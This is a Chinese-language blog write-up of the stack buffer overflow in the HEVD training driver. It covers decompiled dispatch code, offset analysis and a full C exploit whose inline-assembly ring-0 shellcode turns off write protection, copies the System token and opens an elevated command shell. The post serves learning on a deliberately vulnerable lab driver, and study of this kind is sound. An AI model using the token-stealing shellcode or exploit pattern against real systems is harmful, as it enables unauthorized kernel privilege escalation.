HEVD系列之栈溢出

admin 2024年12月5日22:42:28评论2 views字数 14691阅读48分58秒阅读模式

静态分析

分析DriverEntry以及IRP_MJ_DEVICE_CONTROL的派遣函数,得到如下就是DeviceIoControl的派遣函数

NTSTATUS __stdcall IrpDeviceIoCtlHandler(_DEVICE_OBJECT *DeviceObject, _IRP *Irp){  NTSTATUS NtStatus; // ebx  _IO_STACK_LOCATION *CurrentStackLocation; // eax  _IO_STACK_LOCATION *pStack; // ebx  LARGE_INTEGER *IoctlCode; // ecxvoid (*DbgPrintEx)(ULONG, ULONG, PCSTR, ...); // esiint UaFObjectNonPagedPoolIoctlHandler; // eaxconst char *strBuffer; // [esp-4h] [ebp-10h]  NtStatus = 0xC00000BB;  CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation;if ( CurrentStackLocation )  {    pStack = Irp->Tail.Overlay.CurrentStackLocation;// 获取当前设备栈    IoctlCode = (LARGE_INTEGER *)CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;switch ( (unsigned int)IoctlCode )    {                                           // IOCTL CODE 从0x222003开始,每次递增4case 0x222003u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******n");        UaFObjectNonPagedPoolIoctlHandler = BufferOverflowStackIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******n";goto LABEL_4;case 0x222007u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******n");        UaFObjectNonPagedPoolIoctlHandler = BufferOverflowStackGSIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******n";goto LABEL_4;case 0x22200Bu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ARBITRARY_WRITE ******n");        UaFObjectNonPagedPoolIoctlHandler = ArbitraryWriteIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_ARBITRARY_WRITE ******n";goto LABEL_4;case 0x22200Fu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******n");        UaFObjectNonPagedPoolIoctlHandler = BufferOverflowNonPagedPoolIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******n";goto LABEL_4;case 0x222013u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******n");        UaFObjectNonPagedPoolIoctlHandler = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******n";goto LABEL_4;case 0x222017u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******n");        UaFObjectNonPagedPoolIoctlHandler = UseUaFObjectNonPagedPoolIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******n";goto LABEL_4;case 0x22201Bu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******n");        UaFObjectNonPagedPoolIoctlHandler = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******n";goto LABEL_4;case 0x22201Fu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******n");        UaFObjectNonPagedPoolIoctlHandler = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******n";goto LABEL_4;case 0x222023u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_TYPE_CONFUSION ******n");        UaFObjectNonPagedPoolIoctlHandler = TypeConfusionIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_TYPE_CONFUSION ******n";goto LABEL_4;case 0x222027u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_INTEGER_OVERFLOW ******n");        UaFObjectNonPagedPoolIoctlHandler = IntegerOverflowIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_INTEGER_OVERFLOW ******n";goto LABEL_4;case 0x22202Bu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******n");        UaFObjectNonPagedPoolIoctlHandler = NullPointerDereferenceIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******n";goto LABEL_4;case 0x22202Fu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******n");        UaFObjectNonPagedPoolIoctlHandler = UninitializedMemoryStackIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******n";goto LABEL_4;case 0x222033u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******n");        UaFObjectNonPagedPoolIoctlHandler = UninitializedMemoryPagedPoolIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******n";goto LABEL_4;case 0x222037u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_DOUBLE_FETCH ******n");        UaFObjectNonPagedPoolIoctlHandler = DoubleFetchIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_DOUBLE_FETCH ******n";goto LABEL_4;case 0x22203Bu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS ******n");        UaFObjectNonPagedPoolIoctlHandler = InsecureKernelFileAccessIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS ******n";goto LABEL_4;case 0x22203Fu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL ******n");        UaFObjectNonPagedPoolIoctlHandler = MemoryDisclosureNonPagedPoolIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL ******n";goto LABEL_4;case 0x222043u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION ******n");        UaFObjectNonPagedPoolIoctlHandler = BufferOverflowPagedPoolSessionIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION ******n";goto LABEL_4;case 0x222047u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_WRITE_NULL ******n");        UaFObjectNonPagedPoolIoctlHandler = WriteNULLIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_WRITE_NULL ******n";goto LABEL_4;case 0x22204Bu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = BufferOverflowNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x22204Fu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = MemoryDisclosureNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x222053u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = AllocateUaFObjectNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x222057u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = UseUaFObjectNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x22205Bu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = FreeUaFObjectNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x22205Fu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = AllocateFakeObjectNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x222063u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x222067u:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x22206Bu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******n";goto LABEL_4;case 0x22206Fu:        DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******n");        UaFObjectNonPagedPoolIoctlHandler = DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler(Irp, pStack);        strBuffer = "****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******n";LABEL_4:        NtStatus = UaFObjectNonPagedPoolIoctlHandler;        DbgPrintEx(0x4Du, 3u, strBuffer);break;default:        _DbgPrintEx(0x4Du, 3u, "[-] Invalid IOCTL Code: 0x%Xn", IoctlCode);        NtStatus = 0xC0000010;break;    }  }  Irp->IoStatus.Information = 0;                // 完成IRP请求  Irp->IoStatus.Status = NtStatus;  IofCompleteRequest(Irp, 0);return NtStatus;}

该漏洞关键点

HEVD系列之栈溢出

定位到栈溢出靶场IOCTL_CODE后我们最终一下这个IOCTL_CODE处理流程,如上图所示,就是打印了一些调试信息即调用BufferOverflowStackIoctlHandler,并且将当前的设备栈(15行处获取的)以及IRP请求作为参数,继续跟进BufferOverflowStackIoctlHandler,得到如下代码:

int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp){int NtStatus; // ecx  _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx  NtStatus = 0xC0000001;  Parameters = IrpSp->Parameters.CreatePipe.Parameters;// 获取参数if ( Parameters )return TriggerBufferOverflowStack(Parameters, IrpSp->Parameters.Create.Options);return NtStatus;}

是不是看到Parameters.CreatePipe.Parameters有点疑惑,我们在驱动开发的时候好像没用过这玩意,我也是在这傻逼了,百度一通以为是自己知识点薄弱漏了啥,结果百度了个寂寞,直接看反汇编终于找到原因,符号的锅啊,没这么无语过。

PAGE:0044517E                               ; =============== S U B R O U T I N E =======================================PAGE:0044517EPAGE:0044517E                               ; Attributes: bp-based framePAGE:0044517EPAGE:0044517E                               ; int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)PAGE:0044517E                               _BufferOverflowStackIoctlHandler@8 proc nearPAGE:0044517E                                                             ; CODE XREF: IrpDeviceIoCtlHandler(x,x)+51↑pPAGE:0044517EPAGE:0044517E                               Irp= dword ptr  8PAGE:0044517E                               IrpSp= dword ptr  0ChPAGE:0044517EPAGE:0044517E 55                            push    ebpPAGE:0044517F 8B EC                         mov     ebp, espPAGE:00445181 8B 45 0C                      mov     eax, [ebp+IrpSp]PAGE:00445184 B9 01 00 00 C0                mov     ecx, 0C0000001h       ; NtStatusPAGE:00445189 8B 50 10                      mov     edx, [eax+10h]        ; IrpSp->Parameters.DeviceIoControl.Type3InputBufferPAGE:0044518C 8B 40 08                      mov     eax, [eax+8]          ; IrpSp->Parameters.DeviceIoControl.InputBufferLengthPAGE:0044518F 85 D2                         test    edx, edx              ; 判断输入是否为空PAGE:00445191 74 09                         jz      short loc_44519C      ; 如果为空直接返回PAGE:00445191PAGE:00445193 50                            push    eax                   ; SizePAGE:00445194 52                            push    edx                   ; UserBufferPAGE:00445195 E8 08 00 00 00                call    _TriggerBufferOverflowStack@8 ; TriggerBufferOverflowStack(UserBuffer,Size)PAGE:00445195PAGE:0044519A 8B C8                         mov     ecx, eaxPAGE:0044519APAGE:0044519CPAGE:0044519C                               loc_44519C:                   ; CODE XREF: BufferOverflowStackIoctlHandler(x,x)+13↑jPAGE:0044519C 8B C1                         mov     eax, ecxPAGE:0044519E 5D                            pop     ebpPAGE:0044519F C2 08 00                      retn    8PAGE:0044519FPAGE:0044519F                               _BufferOverflowStackIoctlHandler@8 endp

注意这里Parameters是一个联合体,我们的DeviceIoControl用的是

struct {            ULONG  OutputBufferLength;            ULONG POINTER_ALIGNMENT  InputBufferLength;            ULONG POINTER_ALIGNMENT  IoControlCode;            PVOID  Type3InputBuffer;        } DeviceIoControl;

参考:https://blog.csdn.net/lanzheng_1113/article/details/50642898BufferOverflowStackIoctlHandler这个函数中就是把R3的输入缓冲区取以及输入缓冲区大小拿出来作为参数传递给TriggerBufferOverflowStack进行下一步调用。继续跟进到TriggerBufferOverflowStack这个函数看看,得到如下代码

int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size){unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch] BYREF  CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]memset(KernelBuffer, 0, sizeof(KernelBuffer));  ms_exc.registration.TryLevel = 0;  ProbeForRead(UserBuffer, 0x800u, 1u);         // 校验内存是否是Ring3的内存,长度为0x800  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%pn", UserBuffer);  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%Xn", Size);  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%pn", KernelBuffer);  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%Xn", 2048);  _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stackn");memcpy(KernelBuffer, UserBuffer, Size);       // 从用户缓冲区拷贝数据到内核缓冲区,由于这里只是做了简单的可读校验,并没有校验用户缓冲区数据长度导致栈溢出return 0;}                                               // 512x4=0x800,所以我们在用户缓冲区填充0x800字节无效数据后就会溢出.

在这里,只是对R3地址的有效性进行了校验,校验长度为0x800,然后就无脑内存拷贝到内存层的这块缓冲区,并没有校验输入缓冲区的大小长度是否合法(有没有超过内核缓冲区大小),栈溢出也就产生与此,查看内核缓冲区大小为512x4=0x800字节,所以我们R3填充0x800字节数据后就可以实现溢出,不过这里也就分析,下一步就是确定具体需要多少个字节才可以淹没返回地址实现ret2text,查看堆栈情况,得到如下信息

HEVD系列之栈溢出

可以看到KernelBuffer处于ebp-0x81c的位置,返回地址位于ebp+4的位置,所以需要在KernelBuffer上填写0x81c+0x4=0x820个字节才可以覆盖到返回地址处,当然这里对于玩PWN的而已一眼就可以看出。

HEVD系列之栈溢出

下一步就是构造exp了。

EXP

最终得出如下EXP

#include <stdio.h>#include <windows.h>#define LINK_NAME L"\\.\HackSysExtremeVulnerableDriver"#define IOCTL 0x222003BOOL g_bIsExecute = FALSE; VOID Ring0ShellCode();int main(){    HANDLE hDevice = NULL;    DWORD dwReturnLength = 0;    STARTUPINFO si = { 0 };    PROCESS_INFORMATION pi = { 0 };    // 打开驱动设备    hDevice = CreateFile(LINK_NAME,        GENERIC_READ | GENERIC_WRITE,        0,        NULL,        OPEN_EXISTING,        FILE_ATTRIBUTE_NORMAL,        0);    if (hDevice == INVALID_HANDLE_VALUE)    {        printf("CreateFile Error");        return -1;    }    CONST DWORD dwIputSize = 0x820 + 0x4; // 0x820用来填充垃圾数据,随后4字节填充返回地址    CHAR szInputData[dwIputSize] = { 0 };    *(PDWORD)(szInputData + 0x820) = (DWORD)Ring0ShellCode; // 指定返回地址为ShellCode    // 与驱动设备进行交互    if (!DeviceIoControl(hDevice,        IOCTL,        szInputData,        dwIputSize,        NULL,        0,        &dwReturnLength,        NULL))    {        printf("DeviceIoControl Error");        goto exit;    }    si.cb = sizeof(si);    if (!CreateProcess(TEXT("C:\Windows\System32\cmd.exe"),        NULL,        NULL,        NULL,        FALSE,        CREATE_NEW_CONSOLE,        NULL,        NULL,        &si,        &pi))    {        printf("CreateProcess");        goto exit;    }exit:    if (hDevice) CloseHandle(hDevice);    system("pause");    return 0;}VOID __declspec(naked) Ring0ShellCode(){    // 保存现场开辟恶意函数的栈空间    __asm    {        pushfd        pushad        sub esp, 0x40    }    // 关闭页保护    __asm    {        // 关中断        cli        mov eax, cr0        and eax, ~0x10000        mov cr0, eax    }    // System进程的PID是0x4,这里实际上就是找System进程将其Token复制到当前进程    // 这样当前进程就拥有了System权限,Nt System    __asm    {        // 取当前线程        mov eax, fs: [0x124]        // 取线程对应的EPROCESS        mov esi, [eax + 0x150]        mov eax, esi        searchWin7 :        mov eax, [eax + 0xB8]        sub eax, 0x0B8        mov edx, [eax + 0xB4]        cmp edx, 0x4        jne searchWin7        mov eax, [eax + 0xF8]        mov[esi + 0xF8], eax    }    // 开起页保护    __asm    {        mov eax, cr0        or eax, 0x10000        mov cr0, eax        // 开中断        sti    }    // 设置标记    g_bIsExecute = TRUE;    // 平栈并恢复现场    __asm    {        add esp, 0x40        popad        popfd        // 这里是在设置状态返回值(NTSTATUS)为STATUS_SUCCESS.        xor eax, eax        pop ebp        // 由于stdcall,函数负责平栈,参数两个大小为8        ret 8    }}

总结

好久没更新文章了,水一篇以前的笔记。

原文始发于微信公众号(安全之道):HEVD系列之栈溢出

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月5日22:42:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HEVD系列之栈溢出https://cn-sec.com/archives/2496587.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息